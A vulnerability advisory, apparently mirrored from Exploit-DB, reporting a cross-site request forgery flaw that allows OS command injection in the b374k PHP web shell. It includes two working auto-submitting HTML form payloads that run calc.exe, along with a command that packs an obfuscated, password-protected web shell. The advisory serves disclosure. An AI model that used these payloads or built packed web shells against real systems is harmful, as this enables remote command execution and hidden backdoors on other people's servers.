b374k 3.2.3/2.8 (Web Shell) – Cross-Site Request Forgery / Command Injection

  • 作者: hyp3rlinx
    日期: 2015-11-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38688/
  • [+] Credits: hyp3rlinx
    
    [+] Website: hyp3rlinx.altervista.org
    
    [+] Source:
    http://hyp3rlinx.altervista.org/advisories/AS-B374K-CSRF-CMD-INJECTION.txt
    
    
    Vendor:
    ============================================
    github.com/b374k/b374k
    code.google.com/p/b374k-shell/downloads/list
    code.google.com/archive/p/b374k-shell/
    
    
    Product:
    ==============================================
    b374k versions 3.2.3 and 2.8
    
    b374k is a PHP Webshell with many features such as:
    
    File manager (view, edit, rename, delete, upload, download as archive,etc)
    Command execution, Script execution (php, perl, python, ruby, java,
    node.js, c)
    Give you shell via bind/reverse shell connect
    Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more
    using ODBC or PDO)
    Process list/Task manager.
    
    This is useful for system/web admin to do remote management without opening
    cpanel, connecting using ssh,
    ftp etc. All actions take place within a web browser.
    
    Note:
    b374k is considered by some as a malicious backdoor and is flagged by some
    AV upon download.
    
    
    Vulnerability Type:
    =============================
    CSRF Remote Command Injection
    
    
    Vulnerability Details:
    =====================
    
    No CSRF protection exists in b374k Web Shell allowing arbitrary OS command
    injection, if currently
    logged in user visits our malicious website or clicks our infected linxs.
    
    vulnerable b374k code:
    
    <?php
    if(isset($_GP['cmd'])) <------ $_GP holds value of $_GET passed to the
    shell.
    
    <form action='<?php echo $s_self; ?>' method='post'>
    <input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd'
    style='width:70%;' value='<?php
    if(isset($_GP['cmd'])) echo "";
    
    else echo "- shell command -";
    ?>' />
    <noscript><input class='inputzbut' type='submit' value='Go !'
    name='submitcmd' style='width:80px;' /></noscript>
    
    </form>
    
    
    Exploit code(s):
    =================
    
    Run Windows calc.exe as POC...
    
    [CSRF Command Injections]
    
     v3.2
    
    
    Adding password and packing to b374k single PHP file.
    
    c:\xampp\htdocs\b374k-master>php -f index.php -- -o myshell.php -p abc123
     -s -b -z gzcompress -c 9
    b374k shell packer 0.4.2
    
    Filename: myshell.php
    Password: xxxxxx
    Theme : default
    Modules : convert,database,info,mail,network,processes
    Strip : yes
    Base64: yes
    Compression : gzcompress
    Compression level : 9
    Result: Succeeded : [ myshell.php ] Filesize : 111419
    
    
    (CSRF Command injection 1)
    
    <form id='ABYSMALGODS' action='
    http://localhost/b374k-master/myshell.php?run=convert,database,info,mail,network,processes'
    method='post'>
    <input id='cmd' type='text' name='terminalInput' value='calc.exe' />
    <script>document.getElementById('ABYSMALGODS').submit()</script>
    </form>
    
    
    
     v2.8
    
    (CSRF Command injection 2)
    
    <form id='HELL' action='http://localhost/b374k-2.8.php?' method='post'>
    <input id='cmd' type='text' name='cmd' value='calc.exe' />
    <script>document.getElementById('HELL').submit()</script>
    </form>
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ===============
    High
    
    
    Description:
    ==================================================
    
    Request Method(s):[+]POST
    
    
    Vulnerable Product: [+]b374k 3.2 and 2.8
    
    
    Vulnerable Parameter(s):[+]terminalInput, cmd
    
    
    Affected Area(s): [+]OS
    
    
    
    [+] Disclaimer
    Permission is hereby granted for the redistribution of this advisory,
    provided that it is not altered except by reformatting it, and that due
    credit is given. Permission is explicitly given for insertion in
    vulnerability databases and similar, provided that due credit is given to
    the author.
    The author is not responsible for any misuse of the information contained
    herein and prohibits any malicious use of all security related information
    or exploits by the author or elsewhere.
    
    by hyp3rlinx